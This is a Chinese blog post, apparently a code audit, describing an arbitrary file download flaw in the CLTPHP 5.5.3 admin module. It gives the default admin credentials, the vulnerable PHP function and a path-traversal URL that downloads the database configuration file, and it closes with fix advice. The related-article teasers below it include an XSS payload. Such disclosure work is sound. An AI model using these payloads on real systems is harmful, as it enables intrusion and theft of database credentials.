0x00 环境准备

CLTPHP官网:http://www.cltphp.com

网站源码版本:CLTPHP内容管理系统5.5.3版本

程序源码下载:https://gitee.com/chichu/cltphp

默认后台地址: http://127.0.0.1/admin/login/index.html

默认账号密码: 后台登录名:admin  密码:admin123

测试网站首页:

0x01 代码分析

1、/app/admin/controller/Database.php  第203-219行:

  1. public function downFile() {
  2. $file = $this->request->param('file');
  3. $type = $this->request->param('type');
  4. if (empty($file) || empty($type) || !in_array($type, array("zip", "sql"))) {
  5. $this->error("下载地址不存在");
  6. }
  7. $path = array("zip" => $this->datadir."zipdata/", "sql" => $this->datadir);
  8. $filePath = $path[$type] . $file;
  9. if (!file_exists($filePath)) {
  10. 10.         $this->error("该文件不存在,可能是被删除");
  11. 11.     }
  12. 12.     $filename = basename($filePath);
  13. 13.     header("Content-type: application/octet-stream");
  14. 14.     header('Content-Disposition: attachment; filename="' . $filename . '"');
  15. 15.     header("Content-Length: " . filesize($filePath));
  16. 16.     readfile($filePath);

17. }

在这段函数中,参数file未经任何处理,直接进行参数拼接,然后下载,导致程序在实现上存在任意文件下载漏洞,可以构造参数下载服务器任意文件,如脚本代码,服务及系统配置文件等;可用得到的代码进一步代码审计,得到更多可利用漏洞。

0x02 漏洞利用

1、登录网站后台,构造url参数下载网站配置文件:

http://127.0.0.1/admin/Database/downFile.html?type=sql&file=..\\..\\app\\database.php

2、成功下载数据库配置文件,获取敏感信息内容

0x03 修复建议

1、在下载前对传入的参数进行过滤,直接将..替换成空,就可以简单实现防范的目的

2、最好还是可以对待下载文件类型进行二次检查,判断是否允许下载类型。

最后

欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。 

【代码审计】CLTPHP_v5.5.3后台任意文件下载漏洞分析的更多相关文章

  1. 【代码审计】XYHCMS V3.5任意文件下载漏洞分析

      0x00 环境准备 XYHCMS官网:http://www.xyhcms.com/ 网站源码版本:XYHCMS V3.5(2017-12-04 更新) 程序源码下载:http://www.xyhc ...

  2. 【代码审计】EasySNS_V1.6 前台任意文件下载漏洞分析

      0x00 环境准备 EasySNS官网:http://www.imzaker.com/ 网站源码版本:EasySNS极简社区V1.60 程序源码下载:http://es.imzaker.com/i ...

  3. 【代码审计】ThinkSNS_V4 任意文件下载漏洞分析

      0x00 环境准备 ThinkSNS官网:http://www.thinksns.com 网站源码版本:ThinkSNS V4  更新时间:2017-09-13 程序源码下载:http://www ...

  4. dzzoffice 任意文件下载漏洞分析

    dzzoffice 任意文件下载 \updload\dzz\system\save.php第72行开始:    elseif($_GET['do']=='move'){    $obz=trim($_ ...

  5. 【代码审计】CLTPHP_v5.5.3后台目录遍历漏洞分析

      0x00 环境准备 CLTPHP官网:http://www.cltphp.com 网站源码版本:CLTPHP内容管理系统5.5.3版本 程序源码下载:https://gitee.com/chich ...

  6. ThinkSnS v4后台任意文件下载漏洞

    漏洞文件: /apps/admin/Lib/Action/UpgradeAction.class.php 主要问题还是出现在了180行直接将远程获取到的图片直接保存. 文中可见并没有做任何的对$dow ...

  7. 代码审计-(Ear Music).任意文件下载漏洞

    0x01 代码分析 后台地址:192.168.5.176/admin.php admin admin 安装后的界面 在后台发布了一首新歌后,前台点进去到一个“下载LRC歌词”功能点的时候发现是使用re ...

  8. PHP代码审计笔记--任意文件下载漏洞

    在文件下载操作中,文件名及路径由客户端传入的参数控制,并且未进行有效的过滤,导致用户可恶意下载任意文件.  0x01 客户端下载 常见于系统中存在文件(附件/文档等资源)下载的地方. 漏洞示例代码: ...

  9. Mlecms 反射型xss && 后台任意文件下载

    应该算0day吧,自己分析出来的,有点鸡肋,不过小cms分析确实比较简单. xss地址:search.php?word=a><img+src=1+onerror=alert`1`>a ...

随机推荐

  1. C/C++中near和far的区别

    C/C++中near和far的区别 关键字near和far受目标计算机体系结构的影响.目前编程中使用不多. near关键字创建一个指向可寻址内存低端部分的目标指针.这些指针占用内存的单一字节,并且他们 ...

  2. jquery easyui toolbar 分割线问题

    http://bbs.csdn.net/topics/390507228 —————————————————————————————————— 将“<div class="datagr ...

  3. 【转】使用sonar为你的代码质量保驾护航

    一. 简介Sonar是一个用于代码质量管理的开放平台,相信大家都不会陌生.Sonar可以集成不同的测试工具,代码分析工具,以及持续集成工具.官方网站https://www.sonarqube.org ...

  4. 关于Mac上的开发工具

    如果是JavaScript语言的话用  Intellij IDEA 如果是C/C++语言的话用  XCode

  5. e789. 限制用JSpinner实现数字选择的值

    // Create a number spinner that only handles values in the range [0,100] int min = 0; int max = 100; ...

  6. linux自动启动的示例

    linux作为服务器,经常希望一启动即可提供服务,以下命令为程序启动时,启动lhx用户下的程序: echo "su – lhx -c \"这里写入你的启动命令,Python建议使用 ...

  7. css3 -- 自动生成序号(不使用JS,可任意排序)

    需求:一个table 需要在第一列生成序号:1.2.3.4.5......  并且自适应行数 不使用后台程序,开始考虑使用JS,但是一旦前台排序后,序号就乱了,最后采用CSS的一个计数器方法实现! & ...

  8. Java并发笔记-未完待续待详解

    为什么需要并行? – 业务要求 – 性能 并行计算还出于业务模型的需要 – 并不是为了提高系统性能,而是确实在业务上需要多个执行单元. – 比如HTTP服务器,为每一个Socket连接新建一个处理线程 ...

  9. eclipse调用jni

    http://blog.chinaunix.net/uid-27003388-id-3235189.html 1.       在Eclipse里创建一个Java project(jni_test): ...

  10. Linux基础网络设置

    查看Linux网络参数 ifconfig—-查看网络接口 > [root@localhost ~]# ifconfig eth1 Link encap:Ethernet HWaddr 00:0C ...